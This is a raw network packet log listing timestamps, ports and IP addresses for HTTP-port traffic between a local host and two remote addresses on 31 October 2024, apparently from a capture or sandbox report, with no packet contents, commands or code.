Oct 31, 2024 23:37:20.311177969 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311191082 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311342955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311352015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311362028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311372042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311383009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311388016 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311394930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311402082 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311430931 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311439037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311499119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311511993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311522007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311532021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311537027 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311558008 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311717033 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311728001 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311738014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311748981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311758041 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311759949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311772108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311781883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311784029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311790943 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311794996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311808109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311817884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311819077 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311846972 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311939955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311950922 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311980963 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312053919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312064886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312074900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312086105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312096119 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312099934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312112093 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312146902 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312221050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312232018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312248945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312258959 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312268972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312271118 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312279940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312292099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312294960 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312303066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312313080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312324047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312328100 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312335968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312339067 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312370062 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312571049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312582016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312591076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312602997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312608004 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312613964 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312625885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312635899 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312637091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312647104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312649012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312664986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312674046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.312676907 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.312701941 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.353427887 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.439609051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.647581100 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:04.586657047 CET	49786	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:04.591531038 CET	80	49786	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:04.591612101 CET	49786	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:04.591806889 CET	49786	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:04.597207069 CET	80	49786	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:05.515381098 CET	80	49786	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:05.515443087 CET	49786	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:07.029350996 CET	49786	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:07.029983044 CET	49800	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:07.035811901 CET	80	49786	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:07.035830021 CET	80	49800	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:07.035878897 CET	49786	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:07.035923004 CET	49800	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:07.036076069 CET	49800	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:07.041316986 CET	80	49800	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:07.952142954 CET	80	49800	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:07.952259064 CET	49800	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:07.955914021 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:07.961050034 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:07.961137056 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:07.961261034 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:07.966074944 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:08.874682903 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:08.874701977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:08.874717951 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:08.874757051 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:08.874773979 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:08.874789000 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:08.874806881 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:08.874847889 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:08.874887943 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:08.875180960 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:08.875195980 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:08.875211954 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:08.875263929 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:08.879705906 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:08.879775047 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.026246071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.026329041 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.026341915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.026356936 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.026387930 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.026397943 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.026499033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.026515007 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.026534081 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.026535034 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.026549101 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.026570082 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.026963949 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.027004004 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.027152061 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.027195930 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.027297974 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.027344942 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.027364016 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.027379990 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.027395964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.027405977 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.027412891 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.027425051 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.027442932 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.027461052 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.028198957 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.028247118 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.028255939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.028270960 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.028290987 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.028305054 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.028317928 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.028333902 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.028359890 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.028371096 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.029006958 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.029046059 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.029062033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.029078007 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.029099941 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.029112101 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.031243086 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.031291008 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.031353951 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.031397104 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.031455040 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.031495094 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.179378986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.179436922 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.179610968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.179655075 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.179960012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.179975986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.179990053 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180002928 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180011988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180022955 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180027962 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180036068 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180042982 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180052042 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180059910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180073023 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180088043 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180102110 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180155993 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180171967 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180187941 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180193901 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180206060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180212021 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180231094 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180248976 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180444002 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180459023 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180474043 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180481911 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180510044 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180517912 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180675030 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180690050 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180717945 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180717945 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180833101 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180855989 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180871010 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180871010 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180895090 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180896044 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180912018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180922031 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180926085 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180938959 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180942059 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180951118 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180957079 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180967093 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180972099 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.180982113 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.180999041 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.181011915 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.181514978 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.181529999 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.181552887 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.181566000 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.181566954 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.181581974 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.181596994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.181612015 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.181629896 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.181637049 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.181678057 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.182051897 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.182065964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.182081938 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.182090998 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.182099104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.182116985 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.182137012 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.182401896 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.182425976 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.182440996 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.182440996 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.182463884 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.182481050 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.182486057 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.182501078 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.182516098 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.182521105 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.182532072 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.182535887 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.182552099 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.182574987 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.184365034 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.184415102 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.332488060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332535982 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.332573891 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332590103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332604885 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332617044 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.332618952 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332634926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332643986 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.332653999 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332662106 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.332676888 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332700014 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332705021 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.332715034 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332729101 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.332730055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332758904 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.332783937 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.332917929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332932949 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332948923 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.332957983 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.332978010 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333017111 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333051920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333066940 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333082914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333096981 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333098888 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333108902 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333120108 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333131075 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333136082 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333148956 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333149910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333163023 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333164930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333187103 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333210945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333214998 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333225965 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333241940 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333251953 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333257914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333271980 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333290100 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333304882 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333307028 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333319902 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333334923 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333347082 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333350897 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333364010 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333374977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333376884 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333400011 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333417892 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333502054 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333542109 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333575964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333591938 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333621979 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333631992 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333646059 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333661079 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333672047 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333676100 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333700895 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333713055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333724976 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333726883 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333743095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333750963 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333759069 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333784103 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333806038 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333811045 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333825111 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333839893 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333859921 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333859921 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.333868980 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333885908 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.333910942 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.334091902 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.334132910 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.334160089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.334176064 CET	80	49806	185.215.113.16	192.168.2.4
